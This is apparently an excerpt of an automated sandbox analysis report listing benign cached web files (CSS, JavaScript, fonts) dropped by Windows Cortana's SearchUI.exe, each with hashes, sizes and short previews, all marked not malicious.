                                                              SHA-256:E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855
                                                              SHA-512:CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E
                                                              Malicious:false
                                                              Preview:
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\INetCache\FYH862PL\I-iaeF2_hBWL-N4uY_JLxrlxDpc.br[1].js
                                                              Process:C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe
                                                              File Type:empty
                                                              Category:dropped
                                                              Size (bytes):0
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:D41D8CD98F00B204E9800998ECF8427E
                                                              SHA1:DA39A3EE5E6B4B0D3255BFEF95601890AFD80709
                                                              SHA-256:E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855
                                                              SHA-512:CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E
                                                              Malicious:false
                                                              Preview:
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\INetCache\FYH862PL\JYoPtIKNhSsYx2yWTQ7wI2BbEs0[1].css
                                                              Process:C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe
                                                              File Type:UTF-8 Unicode text, with very long lines, with no line terminators
                                                              Category:dropped
                                                              Size (bytes):78426
                                                              Entropy (8bit):5.206603308650319
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:97AA4FC986C9B6C0338C44A6F648497A
                                                              SHA1:159797497783B85452161288331D317E23B05D12
                                                              SHA-256:87277234213A83294DD40D8DD635F12623C63216BFEB5A63BC0CC48037FFD2C2
                                                              SHA-512:747F5EDFFC2BC04798A6FE7AF9504B32A34BB2BF6C394009CDC504F5EB20ECB5CC0EBACE1C11798266666189BBFBD6CECD01CE7785AB471286D5AE013EE69692
                                                              Malicious:false
                                                              Preview: .rewardsBadge,.wideByDefault .scopesList .scopeTile:not(.selectedScope){color:rgba(0,0,0,.6)}.wideByDefault .scopesList .scopeTile:not(.selectedScope):hover{color:#000}.filterIcon:focus{height:48px;width:46px}body[dir] .filterIcon:focus{margin-top:2px}body[dir='ltr'] .filterIcon:focus{margin-right:2px}body[dir='rtl'] .filterIcon:focus{margin-left:2px}.searchScopes .scopeTile{cursor:default;position:relative;align-items:center}.searchScopes a:hover{background-color:rgba(0,0,0,.1)}.scopesList{height:52px;border-bottom:1px solid rgba(0,0,0,.1);display:flex}.scopesList .scopeTile:focus{height:48px}body[dir] .scopesList .scopeTile:focus{padding:0 14px;margin:2px 2px 0}.scopesList .scopeTile,.scopesList .scopeTile:active{height:51px;display:flex}body[dir] .scopesList .scopeTile,body[dir] .scopesList .scopeTile:active{padding:0 16px;margin:0}.scopesList .scopeTile.selectedScope:focus{height:48px}.scopesList .scopeTile.selectedScope,.scopesList .scopeTile.selectedScope:active{height:52px}.scop
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\INetCache\FYH862PL\QNBBNqWD9F_Blep-UqQSqnMp-FI[1].css
                                                              Process:C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe
                                                              File Type:ASCII text, with no line terminators
                                                              Category:dropped
                                                              Size (bytes):6
                                                              Entropy (8bit):2.584962500721156
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:77373397A17BD1987DFCA2E68D022ECF
                                                              SHA1:1294758879506EFF3A54AAC8D2B59DF17B831978
                                                              SHA-256:A319AF2E953E7AFDA681B85A62F629A5C37344AF47D2FCD23AB45E1D99497F13
                                                              SHA-512:A177F5C25182C62211891786A8F78B2A1CAEC078C512FC39600809C22B41477C1E8B7A3CF90C88BBBE6869EA5411DD1343CAD9A23C6CE1502C439A6D1779EA1B
                                                              Malicious:false
                                                              Preview: z{a:1}
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\INetCache\FYH862PL\TJkyBfZhNVw9l2HAW3TbsZKbNwc.br[1].js
                                                              Process:C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe
                                                              File Type:empty
                                                              Category:dropped
                                                              Size (bytes):0
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:D41D8CD98F00B204E9800998ECF8427E
                                                              SHA1:DA39A3EE5E6B4B0D3255BFEF95601890AFD80709
                                                              SHA-256:E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855
                                                              SHA-512:CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E
                                                              Malicious:false
                                                              Preview:
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\INetCache\FYH862PL\YFRiFdAq8JMFRbEqynlPcrVqvb4[1].css
                                                              Process:C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe
                                                              File Type:empty
                                                              Category:dropped
                                                              Size (bytes):0
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:D41D8CD98F00B204E9800998ECF8427E
                                                              SHA1:DA39A3EE5E6B4B0D3255BFEF95601890AFD80709
                                                              SHA-256:E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855
                                                              SHA-512:CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E
                                                              Malicious:false
                                                              Preview:
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\INetCache\FYH862PL\ZkAG-UZl4xeENnu1psdKTgHhS2A.br[1].js
                                                              Process:C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe
                                                              File Type:UTF-8 Unicode text, with very long lines, with no line terminators
                                                              Category:dropped
                                                              Size (bytes):105833
                                                              Entropy (8bit):6.295832767856879
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:22D901D8F53738D0CE2222A0EB501D76
                                                              SHA1:DCB625EA214355F9C9378C3F9F8C8728B1B920CF
                                                              SHA-256:FBE180EA11D232E79FA2F3A996095CE05ABAD63A9423A73B24708225E8A3D818
                                                              SHA-512:FC02AFD728CB9E6A1FD4A91828C6689E288B0B7A513B5402F429EF3E4FE778796FFFCF7C2ED97F847DF44AB26D144EED3DDA0B8DBCF0A2971FB9EBAF9470A929
                                                              Malicious:false
                                                              Preview: (function(n,t){function i(n,t){return LocStringManager.register({uiCulture:n,name:"LocStrings",namespace:"Feedback"},{DIALOG_ALIAS_ERROR_TEXT:t[0],DIALOG_ALIAS_LABEL:t[1],DIALOG_ALIAS_TEXT:t[2],DIALOG_ASK_FEEDBACK:t[3],DIALOG_CANCEL_BUTTON_TEXT:t[4],DIALOG_COMMENT_ERROR_TEXT:t[5],DIALOG_COMMENT_LABEL:t[6],DIALOG_COMMENT_TYPE_LABEL:t[7],DIALOG_COMMENT_TYPE1:t[8],DIALOG_COMMENT_TYPE2:t[9],DIALOG_COMMENT_TYPE3:t[10],DIALOG_COMMENT_TYPE4:t[11],DIALOG_COMMENT_TYPE5:t[12],DIALOG_COMMENT_TYPE6:t[13],DIALOG_INCLUDE_SCREENSHOT:t[14],DIALOG_MSFT_INTERNAL:t[15],DIALOG_PRIVACY_POLICY:t[16],DIALOG_SEND_BUTTON_TEXT:t[17],DIALOG_SEND_EMAIL_LABEL:t[18],LEARN_MORE_LINK_TEXT:t[19],PRIVACY_STATEMENT_LINK_TEXT:t[20],REPORT_LEGAL_OR_PRIVACY_CONCERN:t[21],WINDOWS_DIALOG_COMMENT_TEXT:t[22],WINDOWS_TITLE_TEXT:t[23]}),i}return i(n,t)})("af",["Voer asseblief jou alias in.","en cc my by","Voer jou alias hier in.","Het jy enige spesifieke terugvoer?","Kanselleer","Laat 'n kommentaar asseblief.","Teksvenster vir j
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\INetCache\FYH862PL\jhP1uapRf8Z8Qb959t11DNTsvB8.br[1].js
                                                              Process:C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe
                                                              File Type:empty
                                                              Category:dropped
                                                              Size (bytes):0
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:D41D8CD98F00B204E9800998ECF8427E
                                                              SHA1:DA39A3EE5E6B4B0D3255BFEF95601890AFD80709
                                                              SHA-256:E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855
                                                              SHA-512:CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E
                                                              Malicious:false
                                                              Preview:
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\INetCache\FYH862PL\jz5JHWe_2WCod7u1RNWmByRezL4.br[1].js
                                                              Process:C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe
                                                              File Type:empty
                                                              Category:dropped
                                                              Size (bytes):0
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:D41D8CD98F00B204E9800998ECF8427E
                                                              SHA1:DA39A3EE5E6B4B0D3255BFEF95601890AFD80709
                                                              SHA-256:E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855
                                                              SHA-512:CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E
                                                              Malicious:false
                                                              Preview:
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\INetCache\FYH862PL\nEl6gm6izUrrDobE23TevZhe_fI[1].css
                                                              Process:C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe
                                                              File Type:ASCII text, with very long lines, with no line terminators
                                                              Category:dropped
                                                              Size (bytes):66986
                                                              Entropy (8bit):6.002532652367151
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:4D3E595F2CBC3A17F1AF84725C46E751
                                                              SHA1:0825FFDBABA1A76BD3291A01E0BC37DC0287FCA5
                                                              SHA-256:3CBDCF1C0B5C56F239D334AA89251B0D0398E4C36F0490435097E02CF5BC7EB9
                                                              SHA-512:93B570A293843B3ABEAB8C8CC73B3B9F8B66B68E5A31F28854A6F0EDE70D1F7FE3E1821D484420F694AF280EEB7EE7B84C24DAAFE1F1FEEBA503D238204CBB51
                                                              Malicious:false
                                                              Preview: @font-face{font-family:"Cortana MDL2 Assets";src:url(data:application/font-woff;base64,d09GRgABAAAAAMPYAA8AAAABZLgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABPUy8yAAABWAAAAEcAAABgSk1/HFZETVgAAAGgAAACBQAABeCBXolxY21hcAAAA6gAAATGAAAHduvLLe9jdnQgAAAIcAAAACAAAAAqCdkJr2ZwZ20AAAiQAAAA8AAAAVn8nuaOZ2FzcAAACYAAAAAMAAAADAAIABtnbHlmAAAJjAAAr/MAAT7+nuWqJmhlYWQAALmAAAAANQAAADYU7N7gaGhlYQAAubgAAAAeAAAAJCI8G3pobXR4AAC52AAAAUwAAAVU35GbmGxvY2EAALskAAACuAAAArg0Ln62bWF4cAAAvdwAAAAgAAAAIAJJBQ1uYW1lAAC9/AAABTkAAAvzNvtzeXBvc3QAAMM4AAAAEwAAACD/UQB3cHJlcAAAw0wAAACJAAAA03i98g542mNg5ghnnMDAysDBOovVmIGBURpCM19kSGMS4mBl5WJkYgQDBiAQYEAA32AFBQYHBobv3RxgPoRkAKtjgfAUGBgAq2sHLQB42hXJUxQYBgAEwclf2qa2bdu2bdu2bdu2bdu2bTtlur15734WAwz4fwYZPHCIgWGoMHQYJqqD+mHDcGH4MEIYMYwURg6jhFHDaGH0MEYYM4wVxg7jhHHDeGH8MEGYMEwUJg6ThEnDZGHyMEWYMkwVpg7ThGnDdGH6MEOYMcwUZg6zhFnDbGH2MEeYM8wV5g7zhHnDfGH+sEBYMCwUFg6LhEXDYmHxsERYMiwVlg7LhGXDcmH5sEJYMawUVg6rhFXDamH1sEZYM6wV1g7rhHXDemH9sEHYMGwUNg6bhE3DZmHzsEXYMmwVtg7bhG3DdmH7sEPYMewUdg67hF3DbmH3sEfYM+wV9g77hH3Df
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\INetCache\O2ME23WM\4yU6o9nzuSe0YbPN7SClkKqmF_A.br[1].js
                                                              Process:C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe
                                                              File Type:exported SGML document, UTF-8 Unicode text, with very long lines, with no line terminators
                                                              Category:dropped
                                                              Size (bytes):206389
                                                              Entropy (8bit):5.317441455647523
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:A07762DF96F4D7C691102B03AA3A2B4F
                                                              SHA1:D1DAF359D01FD78A447BE8A5F2B2A2DD72CFD3B4
                                                              SHA-256:F622EEBC2B8049B8D3DD3DDAB085588091CFA1DC07DD56E63B220D99490E12C3
                                                              SHA-512:44B9BA5838200E49160D889528A43829EEC4DF26DAD51B5C470D217C0A0E0738F083C08B114D112A4F75A8087C1D72F9289476580580AD7E02EC4A2547076479
                                                              Malicious:false
                                                              Preview: var __extends=this&&this.__extends||function(){var n=function(t,i){return n=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(n,t){n.__proto__=t}||function(n,t){for(var i in t)t.hasOwnProperty(i)&&(n[i]=t[i])},n(t,i)};return function(t,i){function r(){this.constructor=t}n(t,i);t.prototype=i===null?Object.create(i):(r.prototype=i.prototype,new r)}}(),__spreadArrays,WSB;(function(n){function f(t,r,u,f,e,o,s,h){i(t,r,u,function(t){var i=null;t.status==200&&(i=t.responseText?n.safeExecute(function(){return JSON.parse(t.responseText)},"JSON.parse"):{success:!0});f(i)},e,o,s,h)}function i(i,r,u,f,e,o,s,h,c){var l=c&&_w.XMLHttpRequest?new XMLHttpRequest:sj_gx(),v,a;try{l.open(u?"POST":"GET",i,!0)}catch(y){SharedLogHelper.LogError("fetchUrl",i,y);f&&f({responseText:"",contentType:"",status:-1,result:3});return}if(r)for(v in r)l.setRequestHeader(v,r[v]);e&&(a=e.register(function(){return l.abort()},!1,"xhr abort"));n.config.useEventListeners?(l.addEventListener("load",function(){t
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\INetCache\O2ME23WM\98-tFzBbrLP3oaKdmZtyZ4BBBI4.br[1].js
                                                              Process:C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe
                                                              File Type:UTF-8 Unicode text, with very long lines
                                                              Category:dropped
                                                              Size (bytes):121609
                                                              Entropy (8bit):5.370285863147917
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:129776DB6BA6BEA4AF70CDB1EA56942A
                                                              SHA1:12BFE666C0B57B134E7B8B88BCF1A0C3B5DCF3CD
                                                              SHA-256:2D55886903198E35295B8E90738DA47859837BABA26D47E15BAC87F90EE608D3
                                                              SHA-512:AEDF99A152B97BE6A57F0D1FB1DD43B0BB69508EAE65B3A054024CD9E5DD59670EBEAFF6CE7525E2B7263BBD7C963C30659628F9A2DF16410674871538DEF94B
                                                              Malicious:false
                                                              Preview: /*! Copyright (c) Microsoft Corporation. All Rights Reserved. Licensed under the MIT License. */.var WinJS_Init=function(n,t){var i=typeof n!="undefined"?n:typeof t!="undefined"?t:typeof global!="undefined"?global:{};(function(n){typeof define=="function"&&define.amd?define([],n):(i.msWriteProfilerMark&&msWriteProfilerMark("WinJS.4.4 4.4.0.winjs.2016.5.19 base.js,StartTM"),typeof exports=="object"&&typeof exports.nodeName!="string"?n():n(i.WinJS),i.msWriteProfilerMark&&msWriteProfilerMark("WinJS.4.4 4.4.0.winjs.2016.5.19 base.js,StopTM"))})(function(){var u,r;return function(){"use strict";function t(n,t){n=n||"";var i=n.split("/");return i.pop(),t.map(function(n){if(n[0]==="."){var r=n.split("/"),t=i.slice(0);return r.forEach(function(n){n===".."?t.pop():n!=="."&&t.push(n)}),t.join("/")}return n})}function f(r,f,e){return r.map(function(r){if(r==="exports")return e;if(r==="require")return function(n,i){u(t(f,n),i)};var o=n[r];if(!o)throw new Error("Undefined dependency: "+r);return o
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\INetCache\O2ME23WM\BQR--Mi6Hdug9aUgfjMzORag63E.br[1].js
                                                              Process:C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe
                                                              File Type:UTF-8 Unicode text, with very long lines, with no line terminators
                                                              Category:dropped
                                                              Size (bytes):15771
                                                              Entropy (8bit):5.09526529579509
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:E515E69B21C49A355D5D4B91764ABE00
                                                              SHA1:7571F85095E21BA061631D8A38D18623BCABF301
                                                              SHA-256:365F8B7A23865CA36D1C1F7A25553AFDDB6223FF524B56D4BEB80FDD98C8E057
                                                              SHA-512:AA38791CE4ED4039A6D63CF6273BE8CA0DDE2436B8C6E0451937A85652D1C6EA22F38DA9FD81BA9A4E877861B507603C88CACBBFFE4E6B30EC602396F2B87A81
                                                              Malicious:false
                                                              Preview: var WSB;(function(n){n.TopLevelDomains={aaa:1,aarp:1,abarth:1,abb:1,abbott:1,abbvie:1,abc:1,able:1,abogado:1,abudhabi:1,ac:1,academy:1,accenture:1,accountant:1,accountants:1,aco:1,actor:1,ad:1,adac:1,ads:1,adult:1,ae:1,aeg:1,aero:1,aetna:1,af:1,afamilycompany:1,afl:1,africa:1,ag:1,agakhan:1,agency:1,ai:1,aig:1,aigo:1,airbus:1,airforce:1,airtel:1,akdn:1,al:1,alfaromeo:1,alibaba:1,alipay:1,allfinanz:1,allstate:1,ally:1,alsace:1,alstom:1,am:1,amazon:1,americanexpress:1,americanfamily:1,amex:1,amfam:1,amica:1,amsterdam:1,analytics:1,android:1,anquan:1,anz:1,ao:1,aol:1,apartments:1,app:1,apple:1,aq:1,aquarelle:1,ar:1,arab:1,aramco:1,archi:1,army:1,arpa:1,art:1,arte:1,as:1,asda:1,asia:1,associates:1,at:1,athleta:1,attorney:1,au:1,auction:1,audi:1,audible:1,audio:1,auspost:1,author:1,auto:1,autos:1,avianca:1,aw:1,aws:1,ax:1,axa:1,az:1,azure:1,ba:1,baby:1,baidu:1,banamex:1,bananarepublic:1,band:1,bank:1,bar:1,barcelona:1,barclaycard:1,barclays:1,barefoot:1,bargains:1,baseball:1,basketball:1,ba
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\INetCache\O2ME23WM\Cj4mQnDN_eMyYEqsEbjRrJ2Ttec.br[1].js
                                                              Process:C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe
                                                              File Type:very short file (no magic)
                                                              Category:dropped
                                                              Size (bytes):1
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:C4CA4238A0B923820DCC509A6F75849B
                                                              SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                                                              SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                                                              SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                                                              Malicious:false
                                                              Preview: 1
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\INetCache\O2ME23WM\E1FvzbKmaRHmOqEzJ-mHoTOD7Ms.br[1].js
                                                              Process:C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe
                                                              File Type:UTF-8 Unicode text, with very long lines, with no line terminators
                                                              Category:dropped
                                                              Size (bytes):264216
                                                              Entropy (8bit):5.3845135313982135
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:A5CB13FFEE7CCAB7B9CD5B04275945D5
                                                              SHA1:14E920AB62321C6DED7CB09C6B460F615338227C
                                                              SHA-256:F3CE50106C937DFE030F1FC6F4A516CC14CF3A1001797DC37F15B5E6C39AF3C7
                                                              SHA-512:6C1AB1FA411B4E5CAD365F31AFFA788EC28FAD351692DC8B0DD410980CB77C1639733E5449B14A1E5ACC78CA7CF0008D3864CD93CADF7B65E45CB6E825A6A54F
                                                              Malicious:false
                                                              Preview: var __spreadArrays,WSB;(function(n){function t(){if(SearchAppWrapper.CortanaApp.hostingEnvironment==4)return 7;if(!n.isMiniSerpEnabled())return 0;var t=7;return n.config.allowAnswersToAutoOpenMiniSerp||(t&=-2),n.config.allowDNavToAutoOpenMiniSerp||(t&=-3),n.config.allowWebToAutoOpenMiniSerp||(t&=-5),t}var i=["::{679F85CB-0220-4080-B29B-5540CC05AAB6}","::{20D04FE0-3AEA-1069-A2D8-08002B30309D}"],r=function(){function r(){this.refreshEntrypointApp()}return r.prototype.refreshEntrypointApp=function(){this.EntryPointApp=SearchAppWrapper.CortanaApp.hostingEnvironment==3?1:n.config.forceSettingsAppExperience?3:SearchAppWrapper.CortanaApp.hostingEnvironment==5||n.config.forceSantoriniExperience?4:SearchAppWrapper.CortanaApp.hostingEnvironment==4?2:0},r.prototype.clearDefaults=function(){this.QfMode=0;this.PreviewPaneAvailable=!1;this.MiniSERPMode=0;this.AlwaysWide=!1;this.SearchBoxOnTop=!0;this.AllowKeyboardNavCycling=!0;this.AllowKeyboardNavOffCanvas=!1;this.ScopesAvailable=!1;this.FlatListWi
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\INetCache\O2ME23WM\T60N45BmFmN366tGF_ypDnu_BSI.br[1].js
                                                              Process:C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe
                                                              File Type:empty
                                                              Category:dropped
                                                              Size (bytes):0
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:D41D8CD98F00B204E9800998ECF8427E
                                                              SHA1:DA39A3EE5E6B4B0D3255BFEF95601890AFD80709
                                                              SHA-256:E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855
                                                              SHA-512:CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E
                                                              Malicious:false
                                                              Preview:
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\INetCache\O2ME23WM\TJkyBfZhNVw9l2HAW3TbsZKbNwc.br[1].js
                                                              Process:C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe
                                                              File Type:ASCII text, with very long lines, with CRLF line terminators
                                                              Category:dropped
                                                              Size (bytes):17560
                                                              Entropy (8bit):5.4266165365013235
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:C8BE2C675D49A0D03AB4965A3AD5E9EF
                                                              SHA1:500ADA3E4B4A975D296D2049D53BBE7095F6FA77
                                                              SHA-256:DEBEDE07EF020FEFCA20294F5C16FA8D5FCDEC4DE0355BCA446F3B93D219B687
                                                              SHA-512:F7BBC3C6C35554193A292BA32E52E740F35D286E63C0805E5C8BCEDA84399D3D7081531CFF407D31B050DBB454571E0A3752A18863E311B18841209F30986517
                                                              Malicious:false
                                                              Preview: !function(t,e){if("object"==typeof exports&&"object"==typeof module)module.exports=e();else if("function"==typeof define&&define.amd)define([],e);else{var n=e();for(var i in n)("object"==typeof exports?exports:t)[i]=n[i]}}(this,function(){return function(t){function e(i){if(n[i])return n[i].exports;var r=n[i]={exports:{},id:i,loaded:!1};return t[i].call(r.exports,r,r.exports,e),r.loaded=!0,r.exports}var n={};return e.m=t,e.c=n,e.p="",e(0)}([function(t,e,n){t.exports=n(1)},function(t,e,n){"use strict";var i=n(2);e.AWTPiiKind=i.AWTPiiKind;var r=n(3);e.AWT=r["default"],e.AWT_COLLECTOR_URL_UNITED_STATES="https://us.pipe.aria.microsoft.com/Collector/3.0/",e.AWT_COLLECTOR_URL_GERMANY="https://de.pipe.aria.microsoft.com/Collector/3.0/",e.AWT_COLLECTOR_URL_JAPAN="https://jp.pipe.aria.microsoft.com/Collector/3.0/",e.AWT_COLLECTOR_URL_AUSTRALIA="https://au.pipe.aria.microsoft.com/Collector/3.0/",e.AWT_COLLECTOR_URL_EUROPE="https://eu.pipe.aria.microsoft.com/Collector/3.0/"},function(t,e){"use st
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\INetCache\O2ME23WM\XlOxpNAPazK1Ul3yuHNFQLgvMig.br[1].js
                                                              Process:C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe
                                                              File Type:empty
                                                              Category:dropped
                                                              Size (bytes):0
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:D41D8CD98F00B204E9800998ECF8427E
                                                              SHA1:DA39A3EE5E6B4B0D3255BFEF95601890AFD80709
                                                              SHA-256:E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855
                                                              SHA-512:CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E
                                                              Malicious:false
                                                              Preview:
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\INetCache\O2ME23WM\Yi3Flkft8YS8nbd9qCHjIlXAHPg.br[1].js
                                                              Process:C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe
                                                              File Type:empty
                                                              Category:dropped
                                                              Size (bytes):0
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:D41D8CD98F00B204E9800998ECF8427E
                                                              SHA1:DA39A3EE5E6B4B0D3255BFEF95601890AFD80709
                                                              SHA-256:E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855
                                                              SHA-512:CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E
                                                              Malicious:false
                                                              Preview:
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\INetCache\O2ME23WM\b7PYrtpXGXE_bvZ4M1MrlULeVLE.br[1].js
                                                              Process:C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe
                                                              File Type:empty
                                                              Category:dropped
                                                              Size (bytes):0
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:D41D8CD98F00B204E9800998ECF8427E
                                                              SHA1:DA39A3EE5E6B4B0D3255BFEF95601890AFD80709
                                                              SHA-256:E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855
                                                              SHA-512:CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E
                                                              Malicious:false
                                                              Preview:
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\INetCache\O2ME23WM\sWWssH4VwKKxySDezvIayxUduKc[1].js
                                                              Process:C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe
                                                              File Type:empty
                                                              Category:dropped
                                                              Size (bytes):0
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:D41D8CD98F00B204E9800998ECF8427E
                                                              SHA1:DA39A3EE5E6B4B0D3255BFEF95601890AFD80709
                                                              SHA-256:E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855
                                                              SHA-512:CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E
                                                              Malicious:false
                                                              Preview:
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\INetCache\O2ME23WM\zEQqhwKoETyGdQapOnP2uL1FFF0.br[1].js
                                                              Process:C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe
                                                              File Type:empty
                                                              Category:dropped
                                                              Size (bytes):0
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
